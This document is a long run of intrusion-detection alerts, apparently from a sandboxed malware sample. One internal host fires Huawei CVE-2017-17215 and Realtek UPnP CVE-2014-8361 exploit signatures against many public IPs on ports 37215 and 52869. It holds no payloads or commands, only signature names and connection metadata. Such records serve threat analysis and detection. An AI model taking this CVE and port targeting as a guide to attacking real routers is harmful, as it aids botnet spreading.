Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.220.244.166

Timestamp:	07/20/24-23:01:20.169339
SID:	2829579
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.227.195.47

Timestamp:	07/20/24-23:01:53.068033
SID:	2027339
Source Port:	37484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.36.59.232

Timestamp:	07/20/24-23:01:42.979245
SID:	2027339
Source Port:	34166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.51.135.205

Timestamp:	07/20/24-23:01:46.871315
SID:	2831300
Source Port:	47642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 170.211.30.37

Timestamp:	07/20/24-23:01:48.171604
SID:	2831300
Source Port:	37098
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.73.240.193

Timestamp:	07/20/24-23:02:48.156942
SID:	2027339
Source Port:	46730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	07/20/24-23:01:01.205395
SID:	2027339
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.236.243.93

Timestamp:	07/20/24-23:01:04.637063
SID:	2027339
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.20.163.179

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	53678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 59.110.210.1

Timestamp:	07/20/24-23:01:42.924014
SID:	2831300
Source Port:	49876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.243.125.183

Timestamp:	07/20/24-23:01:53.494330
SID:	2027339
Source Port:	48532
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.40.68.243

Timestamp:	07/20/24-23:01:41.337240
SID:	2027339
Source Port:	57208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.200.4.87

Timestamp:	07/20/24-23:01:48.275988
SID:	2025132
Source Port:	54988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.33.102.155

Timestamp:	07/20/24-23:03:04.216653
SID:	2025132
Source Port:	49818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.9.160.205

Timestamp:	07/20/24-23:00:57.222229
SID:	2829579
Source Port:	54738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 212.114.230.189

Timestamp:	07/20/24-23:01:01.464786
SID:	2025132
Source Port:	52634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.209.215.233

Timestamp:	07/20/24-23:01:42.207149
SID:	2027339
Source Port:	38228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.118.234.148

Timestamp:	07/20/24-23:01:42.774505
SID:	2027339
Source Port:	41374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.242.86.47

Timestamp:	07/20/24-23:01:44.756264
SID:	2027339
Source Port:	52646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.207.228.137

Timestamp:	07/20/24-23:01:08.686800
SID:	2831300
Source Port:	46680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.53.255.241

Timestamp:	07/20/24-23:01:02.060344
SID:	2829579
Source Port:	52456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 122.34.30.224

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	32978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.207.69.207

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	46358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.104.187.148

Timestamp:	07/20/24-23:01:41.299284
SID:	2025132
Source Port:	54778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.76.169.126

Timestamp:	07/20/24-23:01:47.870904
SID:	2027339
Source Port:	39194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.198.69.39

Timestamp:	07/20/24-23:01:55.623247
SID:	2027339
Source Port:	54538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.68.164.37

Timestamp:	07/20/24-23:01:12.807101
SID:	2027339
Source Port:	53936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.77.1.115

Timestamp:	07/20/24-23:01:42.056014
SID:	2025132
Source Port:	56622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.85.104.5

Timestamp:	07/20/24-23:01:46.387777
SID:	2831300
Source Port:	44176
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.223.189.233

Timestamp:	07/20/24-23:02:03.112911
SID:	2025132
Source Port:	43688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.248.150.138

Timestamp:	07/20/24-23:01:14.117066
SID:	2835222
Source Port:	59010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.100.221.147

Timestamp:	07/20/24-23:01:42.571884
SID:	2025132
Source Port:	47800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.31.40.78

Timestamp:	07/20/24-23:01:44.698984
SID:	2025132
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.64.16.178

Timestamp:	07/20/24-23:01:43.586276
SID:	2027339
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.179.89.83

Timestamp:	07/20/24-23:01:46.112515
SID:	2025132
Source Port:	37944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.89.104.148

Timestamp:	07/20/24-23:01:52.720788
SID:	2831300
Source Port:	56934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 185.10.206.42

Timestamp:	07/20/24-23:01:55.903210
SID:	2831300
Source Port:	49220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.252.46.65

Timestamp:	07/20/24-23:01:02.079114
SID:	2829579
Source Port:	43806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.49.153.25

Timestamp:	07/20/24-23:01:43.843278
SID:	2027339
Source Port:	57508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.184.165.232

Timestamp:	07/20/24-23:01:02.328384
SID:	2025132
Source Port:	51596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.68.100.131

Timestamp:	07/20/24-23:01:02.220064
SID:	2025132
Source Port:	47212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.218.24

Timestamp:	07/20/24-23:01:31.982478
SID:	2829579
Source Port:	43552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.132.84.64

Timestamp:	07/20/24-23:01:47.674845
SID:	2025132
Source Port:	37122
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.63.31.170

Timestamp:	07/20/24-23:01:01.489542
SID:	2027339
Source Port:	44408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.187.41.215

Timestamp:	07/20/24-23:01:43.922614
SID:	2027339
Source Port:	44866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.45.244.106

Timestamp:	07/20/24-23:01:58.143690
SID:	2831300
Source Port:	35542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.129.192

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	33174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.183.171.74

Timestamp:	07/20/24-23:01:44.118192
SID:	2025132
Source Port:	40918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.128.56.168

Timestamp:	07/20/24-23:01:51.047414
SID:	2027339
Source Port:	43172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.71.10

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.249.90

Timestamp:	07/20/24-23:01:34.050672
SID:	2835222
Source Port:	41876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.135.178.135

Timestamp:	07/20/24-23:02:01.929550
SID:	2027339
Source Port:	55272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 79.94.2.62

Timestamp:	07/20/24-23:01:20.132103
SID:	2835222
Source Port:	58050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.245.127.235

Timestamp:	07/20/24-23:01:50.332163
SID:	2027339
Source Port:	40454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.76.243.3

Timestamp:	07/20/24-23:01:03.258634
SID:	2025132
Source Port:	37000
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.216.86.224

Timestamp:	07/20/24-23:01:14.006983
SID:	2025132
Source Port:	45886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.216.25.247

Timestamp:	07/20/24-23:01:45.610865
SID:	2027339
Source Port:	35466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.205.206.142

Timestamp:	07/20/24-23:01:42.714534
SID:	2025132
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.98.159.35

Timestamp:	07/20/24-23:01:52.161851
SID:	2027339
Source Port:	38102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.113.54.165

Timestamp:	07/20/24-23:01:44.054566
SID:	2027339
Source Port:	50458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.144.20.22

Timestamp:	07/20/24-23:01:45.452336
SID:	2027339
Source Port:	40572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.172.247.72

Timestamp:	07/20/24-23:01:03.882590
SID:	2027339
Source Port:	50582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.175.175.175

Timestamp:	07/20/24-23:01:53.064325
SID:	2025132
Source Port:	59782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.247.88.93

Timestamp:	07/20/24-23:01:44.440718
SID:	2831300
Source Port:	49428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.229.44

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	53918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.20.43

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	39424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.183.54.123

Timestamp:	07/20/24-23:01:41.182584
SID:	2027339
Source Port:	41186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.155.242.14

Timestamp:	07/20/24-23:01:45.034156
SID:	2027339
Source Port:	45608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.235.222.86

Timestamp:	07/20/24-23:02:00.710832
SID:	2831300
Source Port:	35548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.53.132.35

Timestamp:	07/20/24-23:01:44.602822
SID:	2831300
Source Port:	57726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.106.155.17

Timestamp:	07/20/24-23:01:43.918137
SID:	2027339
Source Port:	35604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.89.159.185

Timestamp:	07/20/24-23:01:03.834044
SID:	2027339
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.18.234

Timestamp:	07/20/24-23:01:40.332650
SID:	2829579
Source Port:	37688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.74.184.130

Timestamp:	07/20/24-23:01:00.633742
SID:	2829579
Source Port:	49618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.217.253

Timestamp:	07/20/24-23:01:14.060998
SID:	2835222
Source Port:	38858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.197.233.56

Timestamp:	07/20/24-23:01:43.084243
SID:	2027339
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.225.184.185

Timestamp:	07/20/24-23:01:04.642910
SID:	2027339
Source Port:	56940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.199.56.180

Timestamp:	07/20/24-23:01:42.647416
SID:	2025132
Source Port:	48246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.74.174.143

Timestamp:	07/20/24-23:01:08.621030
SID:	2831300
Source Port:	56310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.101.151.97

Timestamp:	07/20/24-23:01:49.631749
SID:	2027339
Source Port:	52014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.203.112.129

Timestamp:	07/20/24-23:01:41.358696
SID:	2025132
Source Port:	43296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 207.214.48.137

Timestamp:	07/20/24-23:01:44.455702
SID:	2831300
Source Port:	45688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.254.210.2

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.217.152.223

Timestamp:	07/20/24-23:01:52.646505
SID:	2027339
Source Port:	51246
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.84.86.167

Timestamp:	07/20/24-23:01:54.835427
SID:	2831300
Source Port:	51488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.248.134.22

Timestamp:	07/20/24-23:01:52.919383
SID:	2027339
Source Port:	55932
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.129.228.59

Timestamp:	07/20/24-23:01:12.807585
SID:	2831300
Source Port:	37972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.111.248.140

Timestamp:	07/20/24-23:01:32.034562
SID:	2835222
Source Port:	34840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.47.147.236

Timestamp:	07/20/24-23:01:02.309528
SID:	2025132
Source Port:	60726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.24.241.219

Timestamp:	07/20/24-23:01:14.100332
SID:	2829579
Source Port:	37614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 4.114.3.131

Timestamp:	07/20/24-23:01:05.000501
SID:	2027339
Source Port:	39416
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.50.116.249

Timestamp:	07/20/24-23:01:57.050420
SID:	2027339
Source Port:	60922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.85.175.26

Timestamp:	07/20/24-23:01:47.267254
SID:	2027339
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 149.181.71.228

Timestamp:	07/20/24-23:01:40.301143
SID:	2829579
Source Port:	37048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.133.102

Timestamp:	07/20/24-23:01:32.039719
SID:	2829579
Source Port:	56254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.168.154.99

Timestamp:	07/20/24-23:01:44.469869
SID:	2027339
Source Port:	52872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.33.239.16

Timestamp:	07/20/24-23:01:41.566623
SID:	2027339
Source Port:	59894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.200.30.164

Timestamp:	07/20/24-23:01:03.270954
SID:	2025132
Source Port:	41386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.249.102.196

Timestamp:	07/20/24-23:01:42.692028
SID:	2027339
Source Port:	45838
Destination Port:	52869
